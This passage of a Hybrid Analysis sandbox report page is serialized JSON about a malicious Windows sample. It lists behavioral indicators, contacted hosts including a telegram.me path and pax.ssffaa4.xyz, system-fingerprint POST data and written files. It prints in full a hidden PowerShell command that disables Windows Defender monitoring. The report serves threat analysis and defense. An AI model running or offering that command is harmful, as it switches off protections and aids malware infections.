\"00000000-00006372.00000001.234931.285A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\" \"------gofDBIsMDpPAklOBVvOTContent-Disposition: form-data; name=\"hwid\"23EBD35BE7F8D3C20DA4-d27478a5-2058------gofDBIsMDpPAklOBVvOTContent-Disposition: form-data; name=\"build_id\"c0bbcd1535957bb9a693afd6cfa86e4c------gofDBIsMDpPAklOBVvOT--\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]}],"incidents":[{"name":"Spyware","details_count":3,"details":[{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Marks file for deletion"},{"detail":"Attempts to disable Windows Defender using PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]}]},"activity":{"stats":{"process_count":2,"spawned_processes_count":2,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":6,"imported_dlls_count":112,"dropped_files_count":0,"extracted_files_count":2,"files_written_count":13,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["suspicious"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"69bea0e9c19fa8dbca08a444","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Malware_","contacted_countries":["GBR"],"submit_name":"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin","analysis_start_time":"2026-03-21T13:45:14+00:00","indicators_count":{"informative":194,"suspicious":37,"malicious":4},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"149.154.167.99","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"address":"104.21.90.56","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]}],"dns_resolutions":[{"domain":"pax.ssffaa4.xyz","address":"104.21.90.56","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"domain":"telegram.me","address":"149.154.167.99","ttl":18,"country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]}],"http_requests":[{"host":"telegram.me","host_ip":"149.154.167.99:443","url":"/t22see","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /t22see HTTP/1.1\nHost: telegram.me\nCache-Control: no-cache\nPragma: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"host":"pax.ssffaa4.xyz","host_ip":"104.21.90.56:443","url":"/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET / HTTP/1.1\nHost: pax.ssffaa4.xyz\nCache-Control: no-cache\nPragma: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}],"processes":[{"pid":4796,"ppid":0,"name":"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin.exe","command_line":"","sha256":"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0","normalized_path":"C:\\5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin.exe","uid":"00000000-00004796","icon":"$5b"},{"pid":6372,"ppid":4796,"name":"powershell.exe","command_line":"-NoProfile -NonInteractive -WindowStyle Hidden -Command Set-MpPreference -DisableRealtimeMonitoring 1 -DisableIOAVProtection 1 -DisableBehaviorMonitoring 1 -DisableBlockAtFirstSeen 1","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00004796","uid":"00000000-00006372"}],"all_imported_dlls":["clr.dll","powrprof.dll","oleaut32.dll","msasn1.dll","mi.dll","miutils.dll","wbemprox.dll","wbemcomn.dll","mscoree.dll","shlwapi.dll","uxtheme.dll","profapi.dll","bcrypt.dll","OnDemandConnRouteHelper.dll","dpapi.dll","cryptnet.dll","rpcrt4.dll","gdi32full.dll","shell32.dll","cfgmgr32.dll","wintrust.dll","System.DirectoryServices.ni.dll","System.Data.dll","wbemsvc.dll","msvcp_win.dll","clrjit.dll","sspicli.dll","mswsock.dll","urlmon.dll","schannel.dll","mskeyprotect.dll","slc.dll","user32.dll","cryptbase.dll","cryptsp.dll","amsi.dll","IPHLPAPI.DLL","nsi.dll","msIso.dll","FWPUCLNT.DLL","ncrypt.dll","ntasn1.dll","ucrtbase.dll","gdi32.dll","System.Xml.ni.dll","userenv.dll","ws2_32.dll","winnsi.dll","System.Management.ni.dll","wldp.dll","imagehlp.dll","clbcatq.dll","System.Numerics.ni.dll","MpClient.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","win32u.dll","imm32.dll","comctl32.dll","atl.dll","System.Transactions.ni.dll","fastprox.dll","ntdll.dll","mscorlib.ni.dll","System.Windows.Forms.ni.dll","VxSSL64.dll","Microsoft.Management.Infrastructure.ni.dll","System.Data.ni.dll","sppc.dll","Microsoft.Management.Infrastructure.Native.ni.dll","kernel32.dll","System.Configuration.ni.dll","dnsapi.dll","fltLib.dll","wmidcom.dll","advapi32.dll","msvcrt.dll","mscoreei.dll","combase.dll","kernel.appcore.dll","ucrtbase_clr0400.dll","ole32.dll","System.ni.dll","bcryptprimitives.dll","msctf.dll","DWrite.dll","wininet.dll","iertutil.dll","rasadhlp.dll","gpapi.dll","secur32.dll","psapi.dll","System.Core.ni.dll","SHCore.dll","windows.storage.dll","GdiPlus.dll","crypt32.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","System.Transactions.dll","KernelBase.dll","version.dll","System.Drawing.ni.dll","dwmapi.dll","Microsoft.PowerShell.Security.ni.dll","Microsoft.PowerShell.Commands.Management.ni.dll","sechost.dll","vcruntime140_clr0400.dll","rsaenh.dll","winhttp.dll","ncryptsslp.dll","System.Management.Automation.ni.dll","MpOAV.dll","V40gDVtS.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin.exe.log","sha256":"f30b02b0b2de13d67f64c21a962271dfe6a1349695ee4820c870e450c1341c19","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]}],"files_written":[{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0.bin.exe.log","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_mcgwxo15.ngm.ps1","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_zwi4zakw.xpv.psm1","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6372:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6372:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"name":"SM0:6372:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"name":"Local\\SM0:6372:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"name":"SM0:6372:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6372:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69bea0e9c19fa8dbca08a444"}]}]}},"report_ids":{"sandbox_job_ids":["69bea0e9c19fa8dbca08a444"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 5ae30eecdfb9… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 5ae30eecdfb9…. Malware family: Trojan.Generic. Threat score 100/100. 9/28 AV engines flagged this file. 2 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 5ae30eecdfb9… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 5ae30eecdfb9…. Malware family: Trojan.Generic. Threat score 100/100. 9/28 AV engines flagged this file. 2 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/5ae30eecdfb95d98cf238ff69b392cb36d1d3fb09481d79fa92c69dad48a0df0"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 5ae30eecdfb9… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 5ae30eecdfb9…. Malware family: Trojan.Generic. Threat score 100/100. 9/28 AV engines flagged this file. 2 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L5c","11",{}]]